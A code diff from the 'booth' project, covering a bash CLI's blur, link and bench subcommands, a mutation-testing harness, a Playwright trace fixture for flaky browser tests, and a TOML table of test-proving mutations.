grep -vxF -- "$item" "$f" > "$f.tmp" || true
|
||||
mv -- "$f.tmp" "$f"
|
||||
rm -f -- "$DATA/$b/.blurbooth"
|
||||
echo "whole booth un-blurred (per-item blur kept): $URL/b/$b/"
|
||||
fi
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Items are made booth-relative here; WHETHER each one is an item path is
|
||||
# booth.blur.check_rel's call, the same predicate the web route uses, so
|
||||
# `booth blur g a..b.png` and the operator's click agree. (A `*..*`
|
||||
# substring test here refused `a..b.png`, which the route accepted.)
|
||||
items=()
|
||||
for item in "$@"; do
|
||||
item="${item#"$DATA/$b/"}"
|
||||
[ -e "$DATA/$b/$item" ] || echo "warning: no such item in $b: $item" >&2
|
||||
items+=("$item")
|
||||
done
|
||||
# An empty marker is a lie by omission — `ls -a` should say whether
|
||||
# anything here is blurred at all.
|
||||
[ -s "$f" ] || rm -f -- "$f"
|
||||
# ONE WRITER. `.blurred.json` is a JSON array (a rel may carry a leading
|
||||
# space or a newline, which the old `.blurred` line format could not
|
||||
# round-trip), and the service writes it too, so the CLI goes through the
|
||||
# same stdlib-only booth.blur, never a grep/printf of its own. Items travel
|
||||
# as argv, which carries any byte but NUL. EVERY item is checked before ANY
|
||||
# is written, so a refused path leaves the blur set exactly as it was.
|
||||
# Exit 2: an item path refused. Exit 3: nothing written, and why (the
|
||||
# package is missing, or something that is not a file is in the way).
|
||||
BOOTH_SRC="$(booth_src)" BOOTH_DIR="$DATA/$b" python3 -c '
|
||||
import os, sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, os.environ["BOOTH_SRC"])
|
||||
try:
|
||||
from booth.blur import BlurUnwritable, check_rel, set_blurred # stdlib only
|
||||
except ImportError as exc:
|
||||
src = os.environ["BOOTH_SRC"]
|
||||
sys.stderr.write(f"booth blur: cannot load booth.blur from {src} ({exc}).\n"
|
||||
" Run the booth script from its checkout, beside its booth/ package. Nothing was changed.\n")
|
||||
sys.exit(3)
|
||||
on = sys.argv[1] == "blur"
|
||||
rels = [r.lstrip("/") for r in sys.argv[2:]]
|
||||
for rel in rels:
|
||||
try:
|
||||
check_rel(rel)
|
||||
except ValueError as exc:
|
||||
sys.stderr.write(f"booth blur: refusing {rel!r}: {exc}. Nothing was changed.\n")
|
||||
sys.exit(2)
|
||||
for rel in rels:
|
||||
try:
|
||||
set_blurred(Path(os.environ["BOOTH_DIR"]), rel, on)
|
||||
except BlurUnwritable as exc:
|
||||
sys.stderr.write(f"booth blur: {exc}\n")
|
||||
sys.exit(3)
|
||||
' "$cmd" "${items[@]}"
|
||||
if [ "$cmd" = blur ]; then
|
||||
echo "blurred (cosmetic — still served): $URL/b/$b/"
|
||||
else
|
||||
@@ -279,6 +379,57 @@ case "$cmd" in
|
||||
[ $# -ge 1 ] || usage
|
||||
link_url="$1"; shift
|
||||
desc="${*:-}"
|
||||
# THE REFUSAL COMES FIRST, BEFORE ANY WRITE (INV-3). A booth announces
|
||||
# itself now (U5), so a booth URL on the board is a row that rots the
|
||||
# moment the booth is swept — 156 of the board's 221 rows are exactly
|
||||
# that. Refusing AFTER the mkdir/announce below would leave a new booth
|
||||
# behind as the side effect of a call that failed.
|
||||
# `|| pred_rc=$?` so a BROKEN PREDICATE is handled here rather than aborting
|
||||
# the script under `set -e` with a raw Python traceback and nothing else.
|
||||
# The direction is FAIL-CLOSED and stays that way: if we cannot tell whether
|
||||
# this is a booth, we do not append. A guard that fails open is not a guard,
|
||||
# and the cost of being wrong in the other direction is one message telling
|
||||
# the poster exactly what broke.
|
||||
pred_rc=0
|
||||
refused_name="$(booth_target_of "$link_url" 2>/dev/null)" || pred_rc=$?
|
||||
if [ "$pred_rc" -ne 0 ]; then
|
||||
{
|
||||
echo "booth link: could not check whether that URL is a booth, so nothing was posted."
|
||||
echo " the check runs booth/links.py under the system python3 with no venv."
|
||||
echo " re-run from a checkout where \`python3 -c 'import booth.links'\` works,"
|
||||
echo " or post it from a host that has one."
|
||||
} >&2
|
||||
exit 3
|
||||
fi
|
||||
case "$refused_name" in
|
||||
N) refused_name="" ;;
|
||||
B:*) refused_name="${refused_name#B:}" ;;
|
||||
*)
|
||||
echo "booth link: the booth check answered something unrecognised; nothing was posted." >&2
|
||||
exit 3 ;;
|
||||
esac
|
||||
# CREDENTIALS DO NOT GO ON THE BOARD, through any door. `normalize_bench_url`
|
||||
# refuses userinfo for a bench; `booth link` is the door this unit did not
|
||||
# touch, and the board renders on an unauthenticated LAN surface. A small,
|
||||
# deliberate widening of the unit -- named rather than smuggled.
|
||||
case "$link_url" in
|
||||
*://*@*)
|
||||
{
|
||||
echo "booth link: that URL carries credentials (user:pass@host) and the board"
|
||||
echo " is readable by anyone who can reach this service. Nothing was posted."
|
||||
echo " strip the credentials and post it again."
|
||||
} >&2
|
||||
exit 2 ;;
|
||||
esac
|
||||
if [ -n "$refused_name" ]; then
|
||||
{
|
||||
echo "booth link: that is a booth, and a booth announces itself now."
|
||||
echo " booth new $refused_name --why \"${desc:-what the operator is looking at}\""
|
||||
echo " (or --why on \`booth add\`; re-announcing keeps the original stamp)"
|
||||
echo " the index at $URL/ is the feed."
|
||||
} >&2
|
||||
exit 2
|
||||
fi
|
||||
board="$DATA/$LINKS_BOARD"
|
||||
mkdir -p -- "$board"
|
||||
: > "$board/$KEEP" # the board is durable by definition
|
||||
@@ -299,9 +450,20 @@ case "$cmd" in
|
||||
# shared lock this line could land inside that window and be rewritten
|
||||
# away by the prune.
|
||||
touch -- "$board/.links.lock"
|
||||
flock "$board/.links.lock" \
|
||||
printf -- '- [%s](%s) <sub>· %s · %s</sub>\n' \
|
||||
"${desc:-$link_url}" "$link_url" "$who" "$when" >> "$board/links.md"
|
||||
# THE REDIRECTION OPENS INSIDE THE LOCK, which is why this is `sh -c` and
|
||||
# not a bare printf. `flock LOCK printf ... >> board` reads as locked and is
|
||||
# not: the SHELL opens the append fd while parsing, before flock acquires
|
||||
# anything. If a concurrent `unlink` rewrites the board in that window, the
|
||||
# rewrite lands on a NEW inode via os.replace and this fd still points at
|
||||
# the old, unlinked one — so the append succeeds, reports success, and the
|
||||
# row is gone. Found by a cold bug-hunt arm; pre-existing, not U6's, but it
|
||||
# is a silent data loss in the file this unit spends its time in.
|
||||
BK_DESC="${desc:-$link_url}" BK_URL="$link_url" BK_WHO="$who" BK_WHEN="$when" \
|
||||
BK_BOARD="$board/links.md" \
|
||||
flock "$board/.links.lock" sh -c '
|
||||
printf -- "- [%s](%s) <sub>· %s · %s</sub>\n" \
|
||||
"$BK_DESC" "$BK_URL" "$BK_WHO" "$BK_WHEN" >> "$BK_BOARD"
|
||||
'
|
||||
echo "$URL/b/$LINKS_BOARD/"
|
||||
;;
|
||||
links)
|
||||
@@ -357,6 +519,149 @@ if removed is None:
|
||||
print("removed: %s %s" % (removed["desc"], removed["url"]))
|
||||
' "$board" "$target"
|
||||
;;
|
||||
bench)
|
||||
# SEAM REVIEW SR-6: the first two-word verb in this script. A nested case,
|
||||
# and a bare `bench` names the bench verbs rather than falling through to
|
||||
# the generic usage, which would hide which of the two words was wrong.
|
||||
sub="${1:-}"; shift || true
|
||||
case "$sub" in
|
||||
add|ls|state|rm|import) ;;
|
||||
*)
|
||||
echo "usage: booth bench {add <url> <name>|ls|state <id|url> <live|promoted|retired>|rm <id|url>|import [--apply <id>...]}" >&2
|
||||
exit 2 ;;
|
||||
esac
|
||||
BOOTH_SRC="$(booth_src)" BOOTH_DATA="$DATA" BOOTH_SUB="$sub" \
|
||||
BOOTH_WHO="$(whoami_handle)" BOOTH_BOARD="$LINKS_BOARD" \
|
||||
python3 -c '
|
||||
import os, pathlib, sys
|
||||
sys.path.insert(0, os.environ["BOOTH_SRC"])
|
||||
# stdlib only — no venv needed. benches.py imports no sibling either (INV-9).
|
||||
from booth.benches import (normalize_bench_url, order_benches, read_benches,
|
||||
remove_bench, set_bench_state, upsert_bench)
|
||||
from booth.links import booth_target, parse_link_entries
|
||||
|
||||
root = pathlib.Path(os.environ["BOOTH_DATA"])
|
||||
sub, who = os.environ["BOOTH_SUB"], os.environ["BOOTH_WHO"]
|
||||
argv = sys.argv[1:]
|
||||
|
||||
def die(msg, code=2):
|
||||
print("booth bench: %s" % msg, file=sys.stderr)
|
||||
raise SystemExit(code)
|
||||
|
||||
def row(b):
|
||||
# ONE LINE PER BENCH, in the rendered order — state first, so a retired
|
||||
# bench sinks, then name, then id as a total tie-break (INV-4).
|
||||
# THE ID IS PRINTED WHOLE AND UNTRUNCATED, because it is the locator
|
||||
# `bench state` and `bench rm` take: a truncated one is not an id, it is a
|
||||
# string that looks like one and silently addresses nothing. The name and
|
||||
# the added date are the truncatable columns.
|
||||
return "%-9s %-10s %-16s %-24s %s" % (
|
||||
b.state, b.added[:10], b.owner[:16], b.name[:24], b.id)
|
||||
|
||||
if sub == "add":
|
||||
if len(argv) < 2: die("bench add <url> <name>")
|
||||
try:
|
||||
bench, created = upsert_bench(root, argv[0], " ".join(argv[1:]), who)
|
||||
except ValueError as exc:
|
||||
die(exc)
|
||||
print("%s: %s" % ("registered" if created else "updated", bench.id))
|
||||
elif sub == "ls":
|
||||
benches, err = read_benches(root)
|
||||
if err:
|
||||
die("the registry could not be read: %s" % err, 3)
|
||||
if not benches:
|
||||
print("no benches registered yet")
|
||||
else:
|
||||
print("%-9s %-10s %-16s %-24s %s"
|
||||
% ("STATE", "ADDED", "OWNER", "NAME", "ID (pass to state|rm)"))
|
||||
for b in benches:
|
||||
print(row(b))
|
||||
elif sub in ("state", "rm"):
|
||||
if not argv: die("bench %s <id|url>%s" % (sub, " <state>" if sub == "state" else ""))
|
||||
try:
|
||||
bench_id = normalize_bench_url(argv[0])
|
||||
except ValueError as exc:
|
||||
die(exc)
|
||||
if sub == "rm":
|
||||
gone = remove_bench(root, bench_id)
|
||||
if gone is None: die("no such bench: %s" % bench_id, 1)
|
||||
print("removed: %s" % gone.url)
|
||||
else:
|
||||
if len(argv) < 2: die("bench state <id|url> <live|promoted|retired>")
|
||||
try:
|
||||
moved = set_bench_state(root, bench_id, argv[1])
|
||||
except ValueError as exc:
|
||||
die(exc)
|
||||
if moved is None: die("no such bench: %s" % bench_id, 1)
|
||||
print("%s is now %s" % (moved.url, moved.state))
|
||||
elif sub == "import":
|
||||
apply = "--apply" in argv
|
||||
picked = [a for a in argv if a != "--apply"]
|
||||
board = root / os.environ["BOOTH_BOARD"] / "links.md"
|
||||
if not board.is_file(): die("no link board at %s" % board, 1)
|
||||
skipped, candidates, refused = [], [], []
|
||||
for e in parse_link_entries(board.read_text()):
|
||||
name = booth_target(e["url"])
|
||||
if name is not None:
|
||||
skipped.append((e, name)); continue
|
||||
try:
|
||||
candidates.append((normalize_bench_url(e["url"]), e))
|
||||
except ValueError as exc:
|
||||
refused.append((e, str(exc)))
|
||||
print("SKIPPED — booth rows; a booth announces itself now (%d):" % len(skipped))
|
||||
for e, name in skipped:
|
||||
print(" %-30s %s" % (name, e["url"]))
|
||||
print()
|
||||
print("CANDIDATES — would be registered (%d rows, %d distinct):"
|
||||
% (len(candidates), len({i for i, _ in candidates})))
|
||||
for i, e in candidates:
|
||||
# THE NORMALIZED ID BESIDE THE RAW URL, which is the whole point of the
|
||||
# proposal: five rows of `talk` collapsing to one is only visible if you
|
||||
# can see which five raw URLs produced the one id. The description is
|
||||
# the thing to drop here, not the URL.
|
||||
print(" %-52s %s" % (i, e["url"]))
|
||||
if e["desc"]:
|
||||
print(" %-52s %s" % ("", e["desc"][:70]))
|
||||
print()
|
||||
print("REFUSED — normalization said no (%d):" % len(refused))
|
||||
for e, why in refused:
|
||||
print(" %-52s %s" % (e["url"], why))
|
||||
if not apply:
|
||||
print()
|
||||
print("nothing was written.")
|
||||
print(" booth bench import --apply <id>... register ONLY the ids you name")
|
||||
print()
|
||||
print("A MACHINE CANNOT TELL A BENCH FROM A BOOKMARK BY ITS URL. On the live")
|
||||
print("board roughly 14 of 35 candidates are repos, model cards and docs, for")
|
||||
print("which the board is the right and only home. So `--apply` takes the ids")
|
||||
print("YOU pick from the list above; it will not register the whole set.")
|
||||
raise SystemExit(0)
|
||||
# SELECTION IS MANDATORY. A bare `--apply` would do exactly the thing this
|
||||
# rationale of this very unit says is impossible -- decide bench-vs-bookmark
|
||||
# URL -- and it would do it silently, to ~14 rows that belong on the board.
|
||||
# The dry-run prints the ids; the operator names the ones that are benches.
|
||||
if not picked:
|
||||
print()
|
||||
print("booth bench import --apply needs the ids to register.", file=sys.stderr)
|
||||
print(" nothing was written. copy the ids you want from the list above:",
|
||||
file=sys.stderr)
|
||||
print(" booth bench import --apply <id> [<id>...]", file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
by_id = {i: e for i, e in candidates}
|
||||
unknown = [i for i in picked if i not in by_id]
|
||||
if unknown:
|
||||
print()
|
||||
for i in unknown:
|
||||
print("not a candidate id: %s" % i, file=sys.stderr)
|
||||
print("nothing was written.", file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
for i in picked:
|
||||
e = by_id[i]
|
||||
upsert_bench(root, e["url"], e["desc"], e["who"] or who)
|
||||
print()
|
||||
print("applied: %d bench(es) registered. links.md was NOT modified." % len(set(picked)))
|
||||
' "$@"
|
||||
;;
|
||||
ask)
|
||||
# booth ask <name> <id> <prompt> <opt>... [--no-notes]
|
||||
[ $# -ge 5 ] || usage
|
||||
|
||||
Executable
+139
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Prove a falsifier falsifies, by running the change it forbids.
|
||||
|
||||
A green test is not evidence. A test that has never seen its own DEFEATING
|
||||
CHANGE is only evidence that the code and the assertion agree today; it may
|
||||
agree under the mutation too, in which case it forbids nothing and reads as
|
||||
though it forbids something. This repo has shipped that three times --
|
||||
persistent-memory.d/2026-09-22-vacuous-falsifiers.md,
|
||||
persistent-memory.d/2026-09-22-seven-of-seven-falsifiers.md, and once more in
|
||||
U7 an hour after the second was written.
|
||||
|
||||
So: for each declared mutation, apply it to the source, run the one test that
|
||||
claims to catch it, and require RED. Revert either way.
|
||||
|
||||
.venv/bin/python scripts/mutation_check.py # every table
|
||||
.venv/bin/python scripts/mutation_check.py u7_navigation # one table
|
||||
|
||||
Tables live in tests/mutations/*.toml and are committed, so a unit's proofs are
|
||||
an artifact rather than terminal scrollback. Adding a unit means adding a file,
|
||||
never editing this script.
|
||||
|
||||
⚠ TWO DEFECTS THIS TOOL HAD, both of which made it CERTIFY A FALSIFIER WITHOUT
|
||||
RUNNING IT. Neither is obvious and both cost real time:
|
||||
|
||||
1. NO GREEN BASELINE. A test that is ALREADY red reports red for every mutation
|
||||
thrown at it, so a broken assertion reads as a proven falsifier. Every run
|
||||
now checks the test passes unmutated first; a red baseline is a harness
|
||||
failure, reported as such, never as a proof.
|
||||
|
||||
2. THE BYTECODE CACHE. `< 2` -> `< 1` is BYTE-IDENTICAL IN SIZE, and CPython
|
||||
validates a .pyc against the source's (mtime, size) at ONE-SECOND
|
||||
granularity -- so a mutation landing in the same second as the revert before
|
||||
it is invisible and the unmutated code runs. The tell was a verdict that
|
||||
flipped between consecutive runs with nothing changed. Caches are dropped
|
||||
and PYTHONDONTWRITEBYTECODE is set for every run. This biases toward exactly
|
||||
the mutations most worth making: comparison flips, off-by-one constants,
|
||||
and/or swaps.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tomllib
|
||||
from pathlib import Path
|
||||
|
||||
REPO = Path(__file__).resolve().parent.parent
|
||||
TABLES = REPO / "tests" / "mutations"
|
||||
# Written before a source file is touched and removed after it is restored. Its
|
||||
# presence at startup means a previous run died between the two -- a `kill -9`
|
||||
# mid-mutation leaves a mutated tracked file that looks like authored code.
|
||||
INFLIGHT = REPO / ".mutation-inflight"
|
||||
|
||||
|
||||
def run(test: str, repo: Path = REPO) -> int:
|
||||
"""Exit code of one test, with the bytecode cache defeated. See defect 2."""
|
||||
for cache in repo.rglob("__pycache__"):
|
||||
shutil.rmtree(cache, ignore_errors=True)
|
||||
return subprocess.run(
|
||||
[sys.executable, "-m", "pytest", test, "-q", "--no-header", "-p", "no:warnings"],
|
||||
cwd=repo, capture_output=True, text=True,
|
||||
env=dict(os.environ, PYTHONDONTWRITEBYTECODE="1"),
|
||||
).returncode
|
||||
|
||||
|
||||
def check(mutation: dict, repo: Path = REPO) -> tuple[bool, str]:
|
||||
"""(proved, note) for one mutation. Never leaves the source mutated.
|
||||
|
||||
`repo` is a parameter so the harness can be pointed at a throwaway tree and
|
||||
given KNOWN-vacuous and KNOWN-good falsifiers — see
|
||||
tests/test_mutation_check.py. An instrument that only ever sees unknowns
|
||||
cannot tell "nothing wrong here" from "I am blind", which is the whole of
|
||||
CLAUDE.md's positive-control rule applied to the tool that enforces it."""
|
||||
test = mutation["test"]
|
||||
path = repo / mutation["file"]
|
||||
|
||||
if run(test, repo) != 0:
|
||||
return False, f"BASELINE RED — {test} fails BEFORE the mutation"
|
||||
|
||||
src = path.read_text()
|
||||
if mutation["old"] not in src:
|
||||
return False, f"anchor not found in {mutation['file']} — the table has drifted"
|
||||
|
||||
INFLIGHT.write_text(f"{path}\n")
|
||||
stat = path.stat() # mtime included; see the restore below
|
||||
try:
|
||||
path.write_text(src.replace(mutation["old"], mutation["new"], 1))
|
||||
red = run(test, repo) != 0
|
||||
finally:
|
||||
path.write_text(src)
|
||||
# Verified, not assumed: a restore that silently failed would leave a
|
||||
# mutation in a tracked file and the next run would measure it.
|
||||
assert path.read_text() == src, f"RESTORE FAILED for {path} — fix by hand"
|
||||
# ⚠ AND THE MTIME, which matters more here than it would elsewhere.
|
||||
# This repo IS its own deployment root and nothing takes effect until
|
||||
# the service restarts, so "is :8090 stale?" is answered by comparing
|
||||
# the service's start time against source mtimes. A tool that churns
|
||||
# those mtimes without changing a byte makes that check lie — it
|
||||
# reported the live service 16 minutes stale when it was current.
|
||||
os.utime(path, ns=(stat.st_atime_ns, stat.st_mtime_ns))
|
||||
INFLIGHT.unlink(missing_ok=True)
|
||||
|
||||
return red, "" if red else "VACUOUS — stayed green under the change it forbids"
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
if INFLIGHT.exists():
|
||||
print(f"refusing to run: {INFLIGHT} exists, so a previous run died mid-mutation.")
|
||||
print(f"check `git diff {INFLIGHT.read_text().strip()}`, restore it, then delete the marker.")
|
||||
return 2
|
||||
|
||||
wanted = argv[1:] or None
|
||||
tables = sorted(TABLES.glob("*.toml"))
|
||||
if wanted:
|
||||
tables = [t for t in tables if t.stem in wanted]
|
||||
if not tables:
|
||||
print(f"no table matching {wanted} in {TABLES}")
|
||||
return 2
|
||||
|
||||
failed = []
|
||||
for table in tables:
|
||||
doc = tomllib.loads(table.read_text())
|
||||
print(f"\n### {table.stem} — {doc.get('unit', '')}")
|
||||
for m in doc.get("mutation", []):
|
||||
proved, note = check(m)
|
||||
print(f"{' proved' if proved else ' NOT PROVED':14s} {m['label']}")
|
||||
if not proved:
|
||||
print(f"{'':14s} ^ {note}")
|
||||
failed.append(m["label"])
|
||||
|
||||
total = sum(len(tomllib.loads(t.read_text()).get("mutation", [])) for t in tables)
|
||||
print(f"\n{total - len(failed)}/{total} falsifiers proved by running the change they forbid")
|
||||
return 1 if failed else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main(sys.argv))
|
||||
@@ -0,0 +1,135 @@
|
||||
"""Browser-test failure artefacts: a Playwright trace kept for every browser
|
||||
test that FAILS, captured from the run that failed.
|
||||
|
||||
Why this exists: the browser tests flake under FULL-SUITE load only — three
|
||||
different tests have each failed once, every one passes in isolation, and a
|
||||
narrowed repro that passes is the trap (operator, 2026-09-23: "let him diagnose
|
||||
it properly"). Pass/fail counts cannot say why; a trace — screenshots, DOM
|
||||
snapshots, console and network per action — can.
|
||||
|
||||
OPT-IN, because tracing is not free and the harness is part of the number:
|
||||
with it on, every page does more work, so the suite's timing (the very thing
|
||||
under suspicion) moves. Default runs are untouched.
|
||||
|
||||
BOOTH_TRACE=1 .venv/bin/python -m pytest -q # screenshots + DOM snapshots
|
||||
BOOTH_TRACE=light .venv/bin/python -m pytest -q # actions + network only
|
||||
|
||||
LIGHT exists because the full mode perturbs the thing it watches: 8 traced
|
||||
full-suite runs went 8/8 green while untraced runs on the same tree went red.
|
||||
Network and action records are nearly free, and a goto that never reaches
|
||||
"networkidle" is answered by the network record alone — which request never
|
||||
finished.
|
||||
|
||||
Traces land in $BOOTH_TRACE_DIR (default: <tmp>/booth-test-traces/<run>/),
|
||||
named after the test; open one with `playwright show-trace <file>`. The
|
||||
terminal summary lists every trace kept.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
TRACE_MODE = os.environ.get("BOOTH_TRACE", "")
|
||||
TRACE = TRACE_MODE in ("1", "light")
|
||||
_KEPT: list[Path] = []
|
||||
|
||||
|
||||
@pytest.hookimpl(hookwrapper=True)
|
||||
def pytest_runtest_makereport(item, call):
|
||||
outcome = yield
|
||||
rep = outcome.get_result()
|
||||
setattr(item, "rep_" + rep.when, rep)
|
||||
|
||||
|
||||
def _trace_dir() -> Path:
|
||||
root = os.environ.get("BOOTH_TRACE_DIR") or os.path.join(tempfile.gettempdir(), "booth-test-traces")
|
||||
d = Path(root) / time.strftime("%Y%m%d-%H%M%S", time.localtime(_RUN_STARTED))
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
return d
|
||||
|
||||
|
||||
_RUN_STARTED = time.time()
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _trace_browser_tests(request):
|
||||
"""Wrap the module's `browser` so every context it opens is traced.
|
||||
|
||||
A test usually closes its page BEFORE asserting (it collects, closes, then
|
||||
checks), and a closed context can no longer write its trace — so each
|
||||
context's trace is written at close time, to a scratch file, and only moved
|
||||
to the kept set if the test then fails. A page from `browser.new_page` owns
|
||||
its context, as Playwright's own does: closing the page closes it."""
|
||||
if not TRACE or "browser" not in request.fixturenames:
|
||||
yield
|
||||
return
|
||||
browser = request.getfixturevalue("browser")
|
||||
scratch = Path(tempfile.mkdtemp(prefix="booth-trace-"))
|
||||
written: list[Path] = []
|
||||
opened: list = []
|
||||
real_new_context = browser.new_context
|
||||
|
||||
def stop(ctx, n=[0]):
|
||||
if getattr(ctx, "_booth_traced", False):
|
||||
ctx._booth_traced = False
|
||||
n[0] += 1
|
||||
path = scratch / f"{n[0]}.zip"
|
||||
try:
|
||||
ctx.tracing.stop(path=str(path))
|
||||
written.append(path)
|
||||
except Exception: # noqa: BLE001 - a lost trace must not fail the test
|
||||
pass
|
||||
|
||||
def new_context(*args, **kwargs):
|
||||
ctx = real_new_context(*args, **kwargs)
|
||||
heavy = TRACE_MODE == "1"
|
||||
ctx.tracing.start(screenshots=heavy, snapshots=heavy)
|
||||
ctx._booth_traced = True
|
||||
real_close = ctx.close
|
||||
|
||||
def close(*a, **k):
|
||||
stop(ctx)
|
||||
return real_close(*a, **k)
|
||||
|
||||
ctx.close = close
|
||||
opened.append(ctx)
|
||||
return ctx
|
||||
|
||||
def new_page(*args, **kwargs):
|
||||
ctx = new_context(*args, **kwargs)
|
||||
page = ctx.new_page()
|
||||
page.close = lambda *a, **k: ctx.close()
|
||||
return page
|
||||
|
||||
browser.new_context, browser.new_page = new_context, new_page
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
del browser.new_context, browser.new_page
|
||||
for ctx in opened:
|
||||
stop(ctx)
|
||||
try:
|
||||
ctx.close()
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
rep = getattr(request.node, "rep_call", None)
|
||||
if rep is not None and rep.failed and written:
|
||||
dest = _trace_dir()
|
||||
for i, path in enumerate(written, 1):
|
||||
kept = dest / f"{request.node.name}-{i}.zip"
|
||||
shutil.move(str(path), kept)
|
||||
_KEPT.append(kept)
|
||||
shutil.rmtree(scratch, ignore_errors=True)
|
||||
|
||||
|
||||
def pytest_terminal_summary(terminalreporter):
|
||||
if _KEPT:
|
||||
terminalreporter.section("browser traces kept for failed tests")
|
||||
for p in _KEPT:
|
||||
terminalreporter.write_line(str(p))
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,260 @@
|
||||
# Per-item blur storage: `.blurred` round-trips any rel, whoever writes it.
|
||||
# The fix for the wrong-item write the heid bug-hunt found through r2b merge 1
|
||||
# (a stripped rel blurred its neighbour), operator-ruled 2026-09-23. Every row
|
||||
# is a change tests/test_blur.py claims to forbid.
|
||||
#
|
||||
# NOT here, on purpose: the S_ISREG guard in read_blurred. With O_NONBLOCK a
|
||||
# FIFO opens and reads as EOF, a symlink is already refused by O_NOFOLLOW, and a
|
||||
# device node needs root to plant, so no test here can see that guard go. It
|
||||
# stays as the `.seen` shape, and it is not claimed as a proven falsifier.
|
||||
|
||||
unit = "blur storage round-trip"
|
||||
|
||||
[[mutation]]
|
||||
label = "the writer strips the rel (the old line format's loss)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_leading_space_rel_round_trips"
|
||||
old = '''
|
||||
current.add(rel)'''
|
||||
new = '''
|
||||
current.add(rel.strip())'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the route strips `f` before writing (the reported wrong-item write)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_blur.py::test_the_blur_route_blurs_exactly_the_item_it_names"
|
||||
old = '''
|
||||
rel = f.lstrip("/")'''
|
||||
new = '''
|
||||
rel = f.strip().lstrip("/")'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a JSON-only reader: every live line-format file un-blurs on deploy"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_legacy_line_format_still_reads"
|
||||
old = '''
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}'''
|
||||
new = '''
|
||||
return set()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a legacy file that is not JSON reads as nothing instead of falling back"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_legacy_rel_that_starts_with_a_bracket_still_reads"
|
||||
old = '''
|
||||
if path is legacy:
|
||||
return {ln.strip()'''
|
||||
new = '''
|
||||
if path is legacy:
|
||||
try:
|
||||
json.loads(text)
|
||||
except ValueError:
|
||||
return set()
|
||||
return {ln.strip()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a FIFO blocks the read (no O_NONBLOCK)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_raw_read_never_blocks_on_a_fifo"
|
||||
old = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)'''
|
||||
new = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the read follows a planted symlink (no O_NOFOLLOW)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_raw_read_never_follows_a_link"
|
||||
old = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)'''
|
||||
new = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NONBLOCK)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the write goes through a planted symlink instead of replacing it"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it"
|
||||
old = '''
|
||||
os.replace(tmp, path)'''
|
||||
new = '''
|
||||
path.write_bytes(Path(tmp).read_bytes()); os.unlink(tmp)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the stored order is not the stated one (invariant 6)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_file_is_a_json_array_in_sorted_order"
|
||||
old = '''
|
||||
body = json.dumps(sorted(current), ensure_ascii=False)'''
|
||||
new = '''
|
||||
body = json.dumps(sorted(current, reverse=True), ensure_ascii=False)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the CLI ignores the verb: `unblur` blurs"
|
||||
file = "scripts/booth"
|
||||
test = "tests/test_blur.py::test_the_cli_writes_the_format_the_service_reads"
|
||||
old = '''
|
||||
on = sys.argv[1] == "blur"'''
|
||||
new = '''
|
||||
on = True'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the CLI writes past a refused '..' path (the shared predicate loses its component check)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_cli_still_refuses_a_dotdot_path"
|
||||
old = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
new = '''
|
||||
if not rel or rel.startswith("/"):'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the item's own blur is the composed one (booth fog leaks into it)"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_blur.py::test_the_item_record_carries_its_own_blur_apart_from_the_booths"
|
||||
old = '''
|
||||
blurred_self=rel in blurred,'''
|
||||
new = '''
|
||||
blurred_self=rel in blurred or booth_blur,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "app.py reads the blur file a second time (invariant 3)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_blur.py::test_app_py_never_reads_the_blur_file_itself"
|
||||
old = '''
|
||||
out = []
|
||||
for it in booth_items(child):'''
|
||||
new = '''
|
||||
out = []
|
||||
read_blurred(child)
|
||||
for it in booth_items(child):'''
|
||||
|
||||
# ---- the heid bug-hunt on this change (hulda, regin, kimi), folded -------------
|
||||
|
||||
[[mutation]]
|
||||
